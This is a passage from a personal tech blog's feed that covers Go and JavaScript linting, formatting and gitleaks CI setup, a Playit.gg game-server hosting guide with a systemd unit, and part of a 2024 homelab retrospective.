        <span class="hljs-comment"># List of allowed packages.</span>
        <span class="hljs-comment"># Entries can be a variable (starting with $), a string prefix, or an exact match (if ending with $).</span>
        <span class="hljs-comment"># Default: []</span>
        <span class="hljs-attr">allow:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-string">Scruticode/src/config</span>
        <span class="hljs-bullet">-</span> <span class="hljs-string">Scruticode/src/constants</span>
        <span class="hljs-comment"># List of packages that are not allowed.</span>
        <span class="hljs-comment"># Entries can be a variable (starting with $), a string prefix, or an exact match (if ending with $).</span>
        <span class="hljs-comment"># Default: []</span>
        <span class="hljs-attr">deny:</span>
          <span class="hljs-bullet">-</span> <span class="hljs-attr">pkg:</span> <span class="hljs-string">"math/rand$"</span>
            <span class="hljs-attr">desc:</span> <span class="hljs-string">use</span> <span class="hljs-string">math/rand/v2</span>
          <span class="hljs-bullet">-</span> <span class="hljs-attr">pkg:</span> <span class="hljs-string">"github.com/sirupsen/logrus"</span>
            <span class="hljs-attr">desc:</span> <span class="hljs-string">not</span> <span class="hljs-string">allowed</span>
          <span class="hljs-bullet">-</span> <span class="hljs-attr">pkg:</span> <span class="hljs-string">"github.com/pkg/errors"</span>
            <span class="hljs-attr">desc:</span> <span class="hljs-string">Should</span> <span class="hljs-string">be</span> <span class="hljs-string">replaced</span> <span class="hljs-string">by</span> <span class="hljs-string">standard</span> <span class="hljs-string">lib</span> <span class="hljs-string">errors</span> <span class="hljs-string">package</span>

<span class="hljs-attr">issues:</span>
  <span class="hljs-attr">max-issues-per-linter:</span> <span class="hljs-number">0</span>
  <span class="hljs-attr">max-same-issues:</span> <span class="hljs-number">0</span>

  <span class="hljs-attr">exclude:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">'^could not import'</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">'^: #'</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">'imported and not used$'</span>
</code></pre>
<p>Since I’m using the <code>enable-all</code> rule everything is enabled and in the disable section I’m discarding some of them.</p>
<p>The full list of linters available for this tool are here <a target="_blank" href="https://golangci-lint.run/usage/linters/">https://golangci-lint.run/usage/linters/</a> each one checks something different and can be customized</p>
<p>In my case in addition to <code>golangci</code> I’m using <a target="_blank" href="https://pre-commit.com/">https://pre-commit.com/</a> that works as a general rule for pre-commit rules (hooks/wrappers for the ones in .git)</p>
<p>To start a pre-commit project we need to ofc installed, then once we have it available globally on our system we can</p>
<pre><code class="lang-makefile"><span class="hljs-section">pre-commit:</span>
    pre-commit clean
    pre-commit install
    git add .pre-commit-config.yaml
</code></pre>
<p>We also need a <code>.pre-commit-config.yaml</code></p>
<pre><code class="lang-yaml"><span class="hljs-comment">## https://golangci-lint.run/usage/configuration/</span>

<span class="hljs-attr">repos:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">repo:</span> <span class="hljs-string">https://github.com/tekwizely/pre-commit-golang</span>
    <span class="hljs-attr">rev:</span> <span class="hljs-string">v1.0.0-rc.1</span>
    <span class="hljs-attr">hooks:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">id:</span> <span class="hljs-string">go-imports</span> <span class="hljs-comment">## go install golang.org/x/tools/cmd/goimports@latest</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">id:</span> <span class="hljs-string">golangci-lint</span> <span class="hljs-comment">## yay -S golangci-lint</span>
        <span class="hljs-attr">args:</span> [<span class="hljs-string">"--fix"</span>]
</code></pre>
<p>Here I’m saying which hooks I want to run on each commit, since most of the things are being part of my linter I only use these two.</p>
<p>New if the hooks run and I had something that won’t pass their validations it will be displayed like this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742765231035/0ae26219-7491-416c-a99f-ac1171340a05.png" alt class="image--center mx-auto" /></p>
<p>Like mentioned before, this could be run it <code>pre-commit</code> level or CI level. If we decided to run it at CI level we should need to install <code>golangci</code> at the pipeline. I’ll suggest using their binary</p>
<p><a target="_blank" href="https://golangci-lint.run/welcome/install/#binaries">https://golangci-lint.run/welcome/install/#binaries</a></p>
<p>Then export the <code>golang</code> path with <code>export PATH="$PATH:$HOME/go/bin"</code> this will make the binary available for the shell that is running.</p>
<h3 id="heading-format">Format</h3>
<p>In the case of format I’m gonna explain using the JS ecosystem, one popular tool there is Prettier.</p>
<p>To install prettier we should follow their guide <a target="_blank" href="https://prettier.io/docs/install/">https://prettier.io/docs/install/</a></p>
<p>Also think this, if everyone in the team uses prettier, consider not using a extesion and have configuration at VSCode level and repository level, only use the one in the repository since is the one that follows your company needs.</p>
<p>One pretter.config.js could look like this</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-string">"arrowParens"</span>: <span class="hljs-string">"avoid"</span>,
    <span class="hljs-string">"bracketSpacing"</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-string">"htmlWhitespaceSensitivity"</span>: <span class="hljs-string">"css"</span>,
    <span class="hljs-string">"insertPragma"</span>: <span class="hljs-literal">false</span>,
    <span class="hljs-string">"printWidth"</span>: <span class="hljs-number">80</span>,
    <span class="hljs-string">"proseWrap"</span>: <span class="hljs-string">"always"</span>,
    <span class="hljs-string">"quoteProps"</span>: <span class="hljs-string">"as-needed"</span>,
    <span class="hljs-string">"requirePragma"</span>: <span class="hljs-literal">false</span>,
    <span class="hljs-string">"semi"</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-string">"singleQuote"</span>: <span class="hljs-literal">true</span>,
    <span class="hljs-string">"tabWidth"</span>: <span class="hljs-number">2</span>,
    <span class="hljs-string">"trailingComma"</span>: <span class="hljs-string">"all"</span>,
    <span class="hljs-string">"useTabs"</span>: <span class="hljs-literal">false</span>
};
</code></pre>
<p>And your <code>package.json</code> like this</p>
<pre><code class="lang-json">  <span class="hljs-string">"scripts"</span>: {
    <span class="hljs-attr">"lint"</span>: <span class="hljs-string">"eslint ./src/**/*.ts"</span>,
    <span class="hljs-attr">"lint:fix"</span>: <span class="hljs-string">"eslint ./src/**/*.ts --fix"</span>,
    <span class="hljs-attr">"format"</span>: <span class="hljs-string">"prettier --check ./src/**/*.ts"</span>,
    <span class="hljs-attr">"format:fix"</span>: <span class="hljs-string">"prettier --write ./src/**/*.ts"</span>,
  },
</code></pre>
<p>Now same here as the linter one, we could add with <code>husky</code> a step for pre-commit or added into the CI process.</p>
<p>For prettier in the github actions you could use <a target="_blank" href="https://github.com/marketplace/actions/prettier-action">https://github.com/marketplace/actions/prettier-action</a></p>
<p>Which contains an example</p>
<pre><code class="lang-yaml"><span class="hljs-attr">name:</span> <span class="hljs-string">Continuous</span> <span class="hljs-string">Integration</span>

<span class="hljs-comment"># This action works with pull requests and pushes</span>
<span class="hljs-attr">on:</span>
  <span class="hljs-attr">pull_request:</span>
  <span class="hljs-attr">push:</span>
    <span class="hljs-attr">branches:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">main</span>

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">prettier:</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>

    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Checkout</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v3</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-comment"># Make sure the actual branch is checked out when running on pull requests</span>
          <span class="hljs-attr">ref:</span> <span class="hljs-string">${{</span> <span class="hljs-string">github.head_ref</span> <span class="hljs-string">}}</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Prettify</span> <span class="hljs-string">code</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">creyD/prettier_action@v4.3</span>
        <span class="hljs-attr">with:</span>
          <span class="hljs-comment"># This part is also where you can pass other options, for example:</span>
          <span class="hljs-attr">prettier_options:</span> <span class="hljs-string">--write</span> <span class="hljs-string">**/*.{js,md}</span>
</code></pre>
<h3 id="heading-secrets">Secrets</h3>
<p>In the case of secrets we could check if someone uploaded sensitive information to alert the team about it.</p>
<p>(In the case of a git workflow in github, gitlab, azure, blabla) it could be that the portion of code remains there (azure won’t delete abandoned pull requests for example)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742839931211/e55fc7e5-dcf9-43b3-a931-9321ee7c56d8.png" alt class="image--center mx-auto" /></p>
<p>In the case of <code>gitleaks</code> I’m using a reusable workflow that I’ve built myself</p>
<pre><code class="lang-yaml"><span class="hljs-attr">name:</span> <span class="hljs-string">CI/CD</span>

<span class="hljs-attr">on:</span>
  <span class="hljs-attr">workflow_dispatch:</span>
  <span class="hljs-attr">push:</span>
    <span class="hljs-attr">branches:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">master</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">development</span>
    <span class="hljs-attr">paths:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"src/**"</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"Dockerfile"</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">".github/workflows/*.yml"</span>
  <span class="hljs-attr">pull_request:</span>
    <span class="hljs-attr">branches:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">master</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">development</span>
    <span class="hljs-attr">paths:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"src/**"</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"Dockerfile"</span>

<span class="hljs-attr">env:</span>
  <span class="hljs-attr">BRANCH_NAME:</span> <span class="hljs-string">${{</span> <span class="hljs-string">github.ref_name</span> <span class="hljs-string">}}</span>
  <span class="hljs-attr">APP_NAME:</span> <span class="hljs-string">waifuland_api</span>
  <span class="hljs-attr">APP_VERSION:</span> <span class="hljs-string">latest</span>
  <span class="hljs-attr">APP_DEV_VERSION:</span> <span class="hljs-string">unstable</span>

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">gitleaks:</span>
    <span class="hljs-attr">uses:</span> <span class="hljs-string">jd-apprentice/jd-workflows/.github/workflows/gitleaks.yml@main</span>
    <span class="hljs-attr">with:</span>
      <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
      <span class="hljs-attr">name:</span> <span class="hljs-string">Gitleaks</span>
    <span class="hljs-attr">secrets:</span>
      <span class="hljs-attr">gh_token:</span> <span class="hljs-string">${{</span> <span class="hljs-string">secrets.GITHUB_TOKEN</span> <span class="hljs-string">}}</span>
</code></pre>
<p>The origin of that workflow comes from <a target="_blank" href="https://github.com/jd-apprentice/jd-workflows">https://github.com/jd-apprentice/jd-workflows</a></p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Now like I mentioned in some of the points, a few steps can be done at pre-commit level and not in the pipeline itself, that’s up to you or your team. But if you want to enforce everything you can do it here without interfere with the code in their projects.</p>
]]></content:encoded></item><item><title><![CDATA[[GUIDE] - [LINUX] Host your gameservers with Playit.gg]]></title><description><![CDATA[About
Hihi! Coming with a blog quite different that what we are used to.
In this case we are going to do a mini-guide on how to host gameservers for a community or your group of friends.
NOTE: The example is going to be focused with veloren, but work...]]></description><link>https://blog.jonathan.com.ar/guide-linux-host-your-gameservers-with-playitgg</link><guid isPermaLink="true">https://blog.jonathan.com.ar/guide-linux-host-your-gameservers-with-playitgg</guid><category><![CDATA[hosting]]></category><category><![CDATA[gaming]]></category><category><![CDATA[self-hosted]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Tue, 18 Mar 2025 02:21:22 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-about">About</h2>
<p>Hihi! Coming with a blog quite different that what we are used to.</p>
<p>In this case we are going to do a mini-guide on how to host gameservers for a community or your group of friends.</p>
<p>NOTE: The example is going to be focused with veloren, but works with minecraft, terraria and quite a lot of games too!</p>
<h2 id="heading-requirements">Requirements</h2>
<ul>
<li><p>A computer (Could be a VPS, Raspberry, Laptop, ETC)</p>
</li>
<li><p>The game you want to host should have a decidated/cli way of hosting</p>
</li>
<li><p>A Playit.gg account</p>
</li>
</ul>
<h2 id="heading-follow-up">Follow up</h2>
<p>Let’s start by going to <a target="_blank" href="https://playit.gg">https://playit.gg</a> to create an account</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742262887770/96026908-b0a6-485c-b681-cabcaa61ca8a.png" alt class="image--center mx-auto" /></p>
<p>The <code>login</code> button contains the section to create your account just in case.</p>
<p>Once your account is created you are going to be in the dashboard</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742262994679/5e636f3a-0e7e-4771-9590-d482a647234c.png" alt class="image--center mx-auto" /></p>
<p>Here we can see the <code>add new agent</code> thing which is what we need, click into <code>Download program</code></p>
<p>It’s going to throw you to the download page where you can choose the platform and way of download, in my case I’m running Linux and I’m going to use their binary</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742263093320/692c5c17-af7c-44ac-bcb6-3f51d0bf0ed5.png" alt class="image--center mx-auto" /></p>
<p>Press your secondary click and <code>copy link</code> because we are going to download this file inside the machine that is going to be the <code>playit</code> host (you can use the same machine for playit and your gameserver)</p>
<p>In my case I’m running a LXC in which I use <code>wget</code> to download the binary</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742263232500/844ec4dd-116b-45ab-b363-4ba77780a832.png" alt class="image--center mx-auto" /></p>
<p>Your gonna need to <code>chmod +x &lt;binary&gt;</code> to have execution rights in the file itself, after that you could run it normally but that will attach our terminal and once we close it we lost our agent connection.</p>
<p>Instead we are going to create a <code>systemd</code> service</p>
<pre><code class="lang-bash">nano /etc/systemd/system/playit.service
</code></pre>
<p>Inside this file we are going to write the following</p>
<pre><code class="lang-bash">[Unit]
Description=Playit Agent
After=network.target

[Service]
Type=simple
User=&lt;user&gt;
WorkingDirectory=/home/&lt;user&gt;/agent
ExecStart=playit-linux-amd64
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
</code></pre>
<p>You can do it as root, but I’ll suggest using a different user. Once we created that file we need to reload the systemctl daemon with <code>systemctl daemon-reload</code> and after that <code>systemctl start playit.service</code> after that we can check that everything is running fine by doing <code>systemctl status playit.service</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742263594569/a35d7616-b067-40ce-bec6-37d0deb27ce2.png" alt class="image--center mx-auto" /></p>
<p>The first time we should see something like “Starting playit agent…”.</p>
<p>NOTE: If you want the systemd service to start each time the computer turns on, do <code>systemctl enable playit.service</code></p>
<p>In case you want to read more on how services work with systemd, you can read that from <a target="_blank" href="https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/system_administrators_guide/chap-managing_services_with_systemd">https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/7/html/system_administrators_guide/chap-managing_services_with_systemd</a></p>
<h2 id="heading-add-a-tunnel">Add a tunnel</h2>
<p>Now if we go back to the dashboard we should see our agent running there</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742263795428/8bd3e3ad-6de3-4584-b6f2-9e6d9be645d9.png" alt class="image--center mx-auto" /></p>
<p>The important part is that says <code>connected</code> with this we now we can create <code>tunnels</code>.</p>
<p>Go into <code>tunnels</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742263829084/d9106a12-e27f-4bd7-b5d2-decdaebc736f.png" alt class="image--center mx-auto" /></p>
<p>While adding a tunnel we should know which kind of protocols the game requires to communicate, In my case I’m hosting a veloren server which I read the requirements from <a target="_blank" href="https://book.veloren.net/players/server-hosting/on-your-pc.html">https://book.veloren.net/players/server-hosting/on-your-pc.html</a>.</p>
<p>It says that I need TCP/UDP and forward port 14004, so I’ll do that here</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742263940622/02881944-5c93-4811-b2df-0be0e5e7f8be.png" alt class="image--center mx-auto" /></p>
<p>Once the tunnel is created you could configurate the address (if your playit agent is not in the same machine as your gameserver or if your port is not the default)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742263996067/8087be83-6800-4bfe-92ce-a4317f508e5c.png" alt class="image--center mx-auto" /></p>
<p>In my case the playit agent is running on a different machine so I have to specify <code>192.168.88.251</code> which is a private IP from another LXC where my veloren server is running.</p>
<p>Port 14004 is from the docs that I’ve mentioned earlier.</p>
<p>After pressing update we should see at the top the connection instructions about our tunnel</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742264092598/5b84f608-8418-43c2-8679-4bf6be7a8f84.png" alt class="image--center mx-auto" /></p>
<p>It says from my local machine it goes to their datacenter and creates a public address, that public address is the one you can share with your community or friends!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742264193874/aea1dd1e-f3b2-4c28-8330-41fca1c3ee55.png" alt class="image--center mx-auto" /></p>
<p>Here I’m logging in with my credentials on the server I’m running at home but via the link provided from <code>playit.gg</code> since is the one other people are going to use :)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1742264279789/0d6b6e76-11ee-4174-9954-e511a3ac03e7.png" alt class="image--center mx-auto" /></p>
<p>Success! Once I’m in the character selection this means that the server is working.</p>
<p>Hope this can be of help for someone, consider buying premium or a custom domain at <code>playit.gg</code> to support them! Their service is nice.</p>
]]></content:encoded></item><item><title><![CDATA[My 2024: homelabs, pentesting, networking and more]]></title><description><![CDATA[What is this about
Like every year since I enter this field, I made a lot of progress. I’m a person who likes to have always a goal in mind and look for new heights, building more complex stuff, changing my thinking, meeting more incredible people.
I...]]></description><link>https://blog.jonathan.com.ar/my-2024-homelabs-pentesting-networking-and-more</link><guid isPermaLink="true">https://blog.jonathan.com.ar/my-2024-homelabs-pentesting-networking-and-more</guid><category><![CDATA[Homelab]]></category><category><![CDATA[networking]]></category><category><![CDATA[pentesting]]></category><category><![CDATA[Career]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Sun, 12 Jan 2025 06:01:20 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1736648381014/40f81216-6bb2-4306-9676-b0b0ff6ec7a7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-what-is-this-about">What is this about</h1>
<p>Like every year since I enter this field, I made a lot of progress. I’m a person who likes to have always a goal in mind and look for new heights, building more complex stuff, changing my thinking, meeting more incredible people.</p>
<p>I’m going to make a brief summary about my 2024, things that I enjoyed spending time, build and play with it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736648425054/0113f7c2-b55a-4ed7-aa88-54e3091b1525.jpeg" alt class="image--center mx-auto" /></p>
<h1 id="heading-homelab">Homelab</h1>
<p>The most important and probably the thing with more changes than anything is my homelab here at home, in my last post regarding this I had only <strong>one</strong> (https://blog.jonathan.com.ar/build-your-own-homelab-with-a-raspberry-pi-zero-2-w-and-cloudflare-zero-trust) machine! And it was a tiny one</p>
<p>Now, you may ask how I ended like this?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736648405456/2944a9fc-77c2-4e57-9896-8c3ee5ceb096.jpeg" alt class="image--center mx-auto" /></p>
<p>Well everything started with only one of these smaller ones, I started by deploying some of my apps there and testing self hosteable products</p>
<p>I have some apps that I wrote in the past when I was learning web development and I’ll always use them for experiments I add random tools or concepts to that apps and adjust them for whatever I want to learn, some of them even got thought entire re-writes in other languages like TS → Golang.</p>
<p>Some of the apps are these</p>
<ul>
<li><p><a target="_blank" href="https://github.com/jd-apprentice/waifuland-api">https://github.com/jd-apprentice/waifuland-api</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/jd-apprentice/waifuland-fe">https://github.com/jd-apprentice/waifuland-fe</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/jd-apprentice/infobae-api">https://github.com/jd-apprentice/infobae-api</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/jd-apprentice/libritos">https://github.com/jd-apprentice/libritos</a></p>
</li>
<li><p><a target="_blank" href="https://github.com/jd-apprentice/jd-bun">https://github.com/jd-apprentice/jd-bun</a></p>
</li>
</ul>
<p>These projects help me not only learn new stuff for my daily experiments but to be a more competent professional in my current job, where I started as a JR DevOps, and now I’m SR DevOps/Consultant.</p>
<p>The jd-bun project reflects the actual quality of my project while I’m not even a developer anymore, these include</p>
<ul>
<li><p>quality gate workflows, deployments, documentation</p>
</li>
<li><p>templates for pull_requests, issues, features, codeowners</p>
</li>
<li><p>pre-commit conventions in each of the projects</p>
</li>
<li><p>unit + integration testing for each of my projects</p>
</li>
<li><p>multiple ways to dockerize an app, hardening, arm7 + arm64 + x86_64</p>
</li>
<li><p>apparmor, seccomp, base + intermediary images, scratch, distroless</p>
</li>
<li><p>secrets as a service, error handling, schema validations</p>
</li>
<li><p>models, middlewares, code styling</p>
</li>
</ul>
<p>Now across everything I had done in my homelab, most of the things were documented and explained + related in a private GitHub project that I have</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736649263966/696642fa-c9ce-4669-954d-5fbc29d872fd.png" alt class="image--center mx-auto" /></p>
<p>Whereas you can see I have more than 100 issues closed in the past 2024, which some of them include a lot of work and explanations of how I ended up doing X, here is an example</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736649881274/8c144223-751e-4ff6-95f3-aef87dadafaf.png" alt class="image--center mx-auto" /></p>
<p>Each issue maybe has more than 10 comments explaining what I had done there, which screenshots and stuff.</p>
<p>Right now I have multiple things running in here, these are only internal</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736650029225/d3b0854f-5e4d-4318-9a23-200079ae9cf7.png" alt class="image--center mx-auto" /></p>
<p>Whenever I need to access to those things from outside my LAN, I have a WireGuard server running on my MikroTik</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736655327575/15857c6b-580c-4f32-a622-08e234e19a77.png" alt class="image--center mx-auto" /></p>
<p>The internal things are encrypted via SSL with Let’s encrypt CA, via a DNS challenge and no need to expose ports or things to the internet. Before this, I had self-signed certs with my own CA, but having to load the cert in every decide on my network was not optimal.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736650139152/63443e51-8393-442a-abda-d649110ec257.png" alt class="image--center mx-auto" /></p>
<p>For things that are exposed to the internet like for example my links page, they are protected with Cloudflare and exposed with Cloudflare tunnels</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736650218914/07ba22cb-841b-406f-8ab9-64047f7b16a4.png" alt class="image--center mx-auto" /></p>
<p>Page in action</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736650264698/3a2b534e-8405-47a0-b093-df246ed4108a.png" alt class="image--center mx-auto" /></p>
<p>About how these apps are running inside the machines well there were a lot of experiments there, I tried</p>
<ul>
<li><p>pm2</p>
</li>
<li><p>docker standalone</p>
</li>
<li><p>docker swarm</p>
</li>
<li><p>k3s + rancher</p>
</li>
<li><p>systemd services</p>
</li>
</ul>
<p>Also before my minipc arrived I tried proxmox inside one of the raspberry pies and used vm’s and LXC</p>
<h2 id="heading-what-about-deployments">What about deployments?</h2>
<p>My repository with stuff looks something like this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736651487819/b8180f78-1148-4f79-810a-ce7aabde8f41.png" alt class="image--center mx-auto" /></p>
<p>Well I had also tried a lot of things, I’m going to list some of them</p>
<ul>
<li><p>manual ssh to servers</p>
</li>
<li><p>bash scripts</p>
</li>
<li><p>ansible</p>
</li>
<li><p>ansible + terraform</p>
</li>
<li><p>github actions + ansible + terraform</p>
</li>
<li><p>argo cd / flush cd</p>
</li>
</ul>
<p>I had even created a repository for some of my most frequent workflows <a target="_blank" href="https://github.com/jd-apprentice/jd-workflows/tree/main/.github/workflows">https://github.com/jd-apprentice/jd-workflows/tree/main/.github/workflows</a>, so I don’t have to modify them everywhere</p>
<p>I even have some frequent cronjobs that monitor performance, security and more.</p>
<h3 id="heading-stress-testing">Stress Testing</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736650996131/27734a08-0da8-4482-b9aa-e8dd3c4b116c.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-vulnerability-scanning">Vulnerability Scanning</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736651024358/b8e8357b-46e7-4e6e-a6cb-032493f94cde.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-sast-scanning">SAST Scanning</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736651109621/22a84ff4-a1b6-40a8-8563-34747f1a110d.png" alt class="image--center mx-auto" /></p>
<p>Most of these actions are sent to either my gotify server</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736651172404/97954732-65df-4c94-be49-5c79c91d552c.png" alt class="image--center mx-auto" /></p>
<p>Or to a telegram chat where I also send stuff</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736651264970/2ce6e5c1-fdf3-43e7-85c9-5bd4c2c641d2.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-what-about-backups">What about backups?</h2>
<p>Things are simple, I’m running cronjobs on each machine that save random stuff to telegram and sensitive stuff to a storage server I have + 2 separate disks with rsync.</p>
<p>And about the GitHub stuff that I have since there is a lot of issues and code there, I’m running a full clone to Gitea first 1 of each month</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736651553420/6a8dbbf8-d36e-4f4d-8a2c-d10de630bd6f.png" alt class="image--center mx-auto" /></p>
<p>Also, there are some backups from my arch running in these servers but not part of the homelab hehe</p>
<h2 id="heading-what-about-monitorsalerts">What about monitors/alerts?</h2>
<p>Alerts are at discord</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736654758801/44de13e2-ead9-4532-8d47-d95b732cbac9.png" alt class="image--center mx-auto" /></p>
<p>There are alerts from</p>
<ul>
<li><p>Cloudflare</p>
</li>
<li><p>Uptimekuma</p>
</li>
<li><p>Netdata</p>
</li>
<li><p>Gotify</p>
</li>
</ul>
<p>For infra I’m using netdata since I have a few machines, but I’m thinking about migrating to ELK</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736651763176/167c9b82-5dcf-415e-8fdb-f1d043a6de6e.png" alt class="image--center mx-auto" /></p>
<p>For apps there is the kuma itself mentioned before.</p>
<p>At there are some handmade scripts that I made in the past when I only ran the small raspberries and I had no way to monitor outside stuff like dashdot that I’m still running in the ingress server</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736654589419/d9140e97-56d9-46f6-a8dd-a09e2e00a7eb.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-and-the-cloudflare-part">And the Cloudflare part?</h2>
<p>Well in Cloudflare there are a few things. Let’s go there, foremost my main domain with his traffic</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736651979553/3dc6f8cd-f2e0-4356-9829-39816ab8295a.png" alt class="image--center mx-auto" /></p>
<p>What I’m using from cloudflare?</p>
<ul>
<li><p>dns</p>
</li>
<li><p>emails</p>
</li>
<li><p>waf</p>
</li>
<li><p>cache</p>
</li>
<li><p>r2</p>
</li>
<li><p>tunnels</p>
</li>
</ul>
<p>Since at the beginning I was running everything including local things in Cloudflare I had a lot of applications rules to hide/protect things that I don’t wanted to expose to everyone</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736652243306/305a921e-70f8-41be-ba6a-8f7f29b54fc5.png" alt class="image--center mx-auto" /></p>
<p>My reliable tunnel for exposing things to the internet safely</p>
<p>improve</p>
<h2 id="heading-and-inside-the-servers">And inside the servers?</h2>
<p>What things I improve here?</p>
<ul>
<li><p>Hardening</p>
</li>
<li><p>Scripting</p>
</li>
<li><p>Networking</p>
</li>
<li><p>Containers</p>
</li>
<li><p>Cronjobs</p>
</li>
<li><p>Systemd services</p>
</li>
<li><p>Troubleshooting</p>
</li>
</ul>
<p>Well there are apps running in k3s like I mention before (Ignore the fact that these are running in the default namespace, I already move them properly the picture is old LMAO)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736652516198/8e4f2d54-6a90-4fec-bc7c-f98251a807be.png" alt class="image--center mx-auto" /></p>
<p>ofc there are also things running in docker standalone and swarm still, not everything needs to be inside k3s</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736652583707/8f67127f-36cd-40ac-880b-5d284d3ef637.png" alt class="image--center mx-auto" /></p>
<p>And of course there is my worth proxmox</p>
<p>Here the PROD one (4c/4t, 16gb, 512gb storage)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736652999880/0c669005-7760-4b80-8a3e-c1a5b9b6cb3e.png" alt class="image--center mx-auto" /></p>
<p>And the development one which I was using for experiments and moving things to the production one right now</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736653075751/37b6c6d1-fa4f-49a5-8d12-8b51855a1d89.png" alt class="image--center mx-auto" /></p>
<p>Everything here is managed with Terraform, and I’m saving the state inside a PG on the storage server + a backup on a R2 from Cloudflare.</p>
<p>One of the machines is acting as an <strong>Ingress</strong> and exposing things via Nginx Proxy Manager</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736653891062/305160b3-fe8d-4cdb-9a9d-fc9533563304.png" alt class="image--center mx-auto" /></p>
<p>This one is temporal but is <strong>Storage</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736654006993/49b155ec-4627-4934-a562-223edb483759.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-what-about-networking">What about networking?</h2>
<p>Things that I got in touch in the last month</p>
<ul>
<li><p>DNS</p>
</li>
<li><p>Subnets</p>
</li>
<li><p>Firewall filtering</p>
